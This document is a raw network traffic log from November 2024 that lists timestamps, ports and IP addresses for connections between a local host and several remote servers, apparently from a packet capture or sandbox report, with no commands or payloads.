Nov 18, 2024 00:27:54.877885103 CET	49993	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.877892017 CET	443	49993	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.877970934 CET	49988	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.877979040 CET	443	49988	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.880870104 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.880966902 CET	49990	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.881413937 CET	49990	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.881516933 CET	443	49991	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.881582022 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.881697893 CET	49990	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.881906986 CET	49991	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.881916046 CET	443	49991	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.882879019 CET	443	49991	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.882946968 CET	49991	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.883292913 CET	49991	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.883358955 CET	443	49991	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.883538008 CET	49991	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.883549929 CET	443	49991	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.890705109 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.891149998 CET	49989	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.891161919 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.891531944 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.891968966 CET	49989	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.892034054 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.892235994 CET	49989	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.923382998 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.935342073 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.952143908 CET	443	49987	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:54.952474117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952491045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952532053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952538013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.952548027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952575922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.952575922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.952581882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952589035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.952605009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952646017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.952760935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952780962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952797890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.952816963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952832937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952847004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.952867985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.952871084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.952888966 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.952919960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953058958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953078985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953097105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953105927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953114033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953207016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953234911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953253031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953314066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953336954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953351021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953361034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953370094 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953399897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953421116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953454018 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953501940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953521013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953541040 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953558922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953562975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953582048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953617096 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953711033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953732014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953772068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953778982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953799009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953819990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953825951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953846931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953855991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.953862906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.953891039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954114914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954134941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954159975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954171896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954184055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954200029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954204082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954226017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954231977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954241991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954265118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954474926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954493046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954516888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954520941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954545021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954569101 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954667091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954684973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954720974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954722881 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954742908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954766035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954770088 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954787016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954802990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.954960108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.954979897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.955005884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.955018044 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.955049038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.955065966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.955084085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.955102921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.955107927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.955121994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.955132961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.955151081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.955168962 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.955578089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.955622911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.989640951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.989674091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.989696026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.989712954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.989717960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.989742041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.989753008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.989753008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.989768982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.989784002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.989809036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.989831924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.989854097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.989869118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.989876032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.989918947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.990021944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.990042925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.990065098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.990099907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.990219116 CET	443	49987	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:54.990273952 CET	49987	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:54.990559101 CET	49987	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:54.990576982 CET	443	49987	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:54.999222040 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.999341965 CET	50003	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:54.999375105 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:54.999440908 CET	50003	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:54.999672890 CET	50003	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:54.999680996 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:54.999963045 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.999994993 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.000471115 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.000493050 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.000684977 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.001094103 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.001110077 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.001466036 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.001471996 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.003978968 CET	443	49993	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.004044056 CET	443	49993	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.004045010 CET	49993	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.004095078 CET	49993	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.004957914 CET	49993	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.004966974 CET	443	49993	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.008258104 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.008336067 CET	49990	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.008357048 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.008418083 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.008529902 CET	49990	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.009774923 CET	49990	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.009784937 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.010283947 CET	443	49988	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.010353088 CET	443	49988	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.010355949 CET	49988	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.010483027 CET	49988	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.015641928 CET	443	49991	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.015702009 CET	443	49991	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.015805960 CET	49991	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.015805960 CET	49991	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.019277096 CET	49988	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.019309998 CET	443	49988	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.021094084 CET	49991	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.021114111 CET	443	49991	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.050024986 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.050043106 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.050128937 CET	49989	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.050138950 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.050918102 CET	49989	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.051336050 CET	49989	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.051383972 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.051465988 CET	49989	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.059781075 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.065016031 CET	443	49984	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:55.065933943 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:55.065977097 CET	443	49984	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:55.066034079 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:55.070480108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.070492983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.070513010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.070525885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.070540905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.070544958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.070586920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.070595026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.070662022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.070672989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.070709944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.071620941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.071633101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.071654081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.071664095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.071676970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.071688890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.071712017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.072889090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.072902918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.072915077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.072927952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.072940111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.072942019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.072952986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.072978973 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.073004007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.073875904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.073892117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.073904991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.073935986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.073962927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.074034929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.074047089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.074069023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.074074984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.074095011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.074106932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.074738026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.074752092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.074763060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.074793100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.074819088 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.074974060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.074985981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.074996948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.075009108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.075021029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.075056076 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.076030016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.076041937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.076070070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.076086044 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.076105118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.076117039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.076128006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.076157093 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.076180935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.076210022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.076244116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.076400995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.076438904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.077522039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.077533007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.077567101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.077581882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.077608109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.077616930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.077637911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.077651024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.077662945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.077676058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.077704906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.077743053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.078680992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.078692913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.078704119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.078761101 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.079547882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.079560041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.079571962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.079605103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.079627037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.079989910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.080002069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.080013037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.080039024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.080063105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.080624104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.080653906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.080686092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.080689907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.080704927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.080728054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.080754042 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.081109047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.081120968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.081131935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.081161976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.081187010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.081988096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.081999063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.082010984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.082045078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.082077980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.082344055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.082355022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.082397938 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.082416058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.082425117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.082448006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.082472086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.083389997 CET	443	49996	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.083673000 CET	49996	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.083692074 CET	443	49996	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.084276915 CET	443	49996	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.084615946 CET	49996	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.084696054 CET	443	49996	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:55.084866047 CET	49996	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:55.108408928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.108469963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.108480930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.108531952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.108563900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.108565092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.108577013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.108587027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.108623981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.108639956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.110438108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.110450029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.110460997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.110492945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.110508919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.110521078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.110522985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.110531092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.110552073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.110567093 CET	49889	80	192.168.2.6	185.215.113.206
